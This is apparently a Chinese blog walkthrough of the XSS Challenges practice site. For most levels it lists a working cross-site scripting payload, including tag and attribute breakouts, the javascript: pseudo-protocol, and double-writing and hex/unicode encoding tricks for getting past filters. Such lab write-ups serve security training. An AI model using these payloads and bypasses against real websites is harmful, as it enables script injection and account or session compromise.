XSS Challenges WP
XSS Challenges是一个日本老哥写的xss关卡,总体来说比较有意思,锻炼下xss各种的绕过方法,练习地址:https://xss-quiz.int21h.jp/
①level 1
没有任何过滤,直接构造payload:
<script>alert(document.domain)</script>
②level 2
f12审查元素发现是在input标签内,对标签进行闭合即可,构造payload:
"><script>alert(document.domain)</script>
③level 3
这一关输出的内容是包裹在<b>标签内,并且经过fuzz,<,>,"等都被转义了,无法闭合,但是发现还有一个是选择国家的选项
所以用burp抓包查看具体内容,发现是有两个post参数的,思考:参数1有限制,那会不会参数2能行呢?
改包,将p2改成xss的payload
</b><script>alert(document.domain)</script>
成功利用
④level 4
这一关也是有选择国家的,继续抓包查看,发现多了个p3参数
那么此时能否在p3上构造payload呢?尝试一波
但是发现,p3的payload被放到input标签内了
尝试修改payload进行闭合input标签
"><script>alert(document.domain)</script>
成功利用
⑤level 5
这里是对输入框内容进行了长度的限制
f12修改前端内容绕过限制
"><script>alert(document.domain)</script>
成功利用
⑥level 6
发现<>被html实体编码了,但是"好像能用
尝试构造属性事件进行利用,初次payload:
" onmouseover=alert(document.domain),但是发现变成了下面这鬼样,输出跑出了value值,并且多了几个"
应该是onmouseover事件在这本身就有一对",然后只需要在alert前面再加一个",将整个补充完整即可,payload:
" onmouseover="alert(document.domain)
⑦level 7
和前一关差不多,构造payload:
" onmouseover=alert(document.domain)
⑧level 8
这一关是输出的内容被包裹在<a>标签里面:
尝试闭合<a>标签,发现被转义了
<a>标签内可以利用JavaScript伪协议:
javascript:alert(document.domain
⑨level 9
这一题是utf-7编码,需要IE环境,有点麻烦,就直接用burp改返回包先跳过
⑩level 10
这一关把domain字符直接给过滤掉了
直接双写domain绕过
" onmouseover="alert(document.dodomainmain)
⑪level 11
这关是过滤了全部on事件
script标签前面被添加上x
所以现在我们不能使用on事件,不能出现script字符,",<>这些都能用,所以可以利用<a>标签配合JavaScript伪协议,并且在html标签中是允许html实体编码执行的,构造payload:
"><a href=javascript:alert(document.domain)>xss</a>
level 12
这一关把",<,>都过滤了,尝试很久也没能过去,先跳过了
level 13
需要配合IE环境,跳过。。
level 14
同样的问题,跳过。。
⑮level 15
这关把<>都给实体编码了
尝试利用hex编码绕过:
初次payload:
\x3cscript\x3ealert(document.domain)\x3c/script\x3e,发现\又没了...
双写 \ 绕过:
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e
⑯level 16
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
unicode编码直接过了
后面的基本要在IE6环境下进行,就到此为止了...
总体来说作为练习还是不错的,写完收工...告辞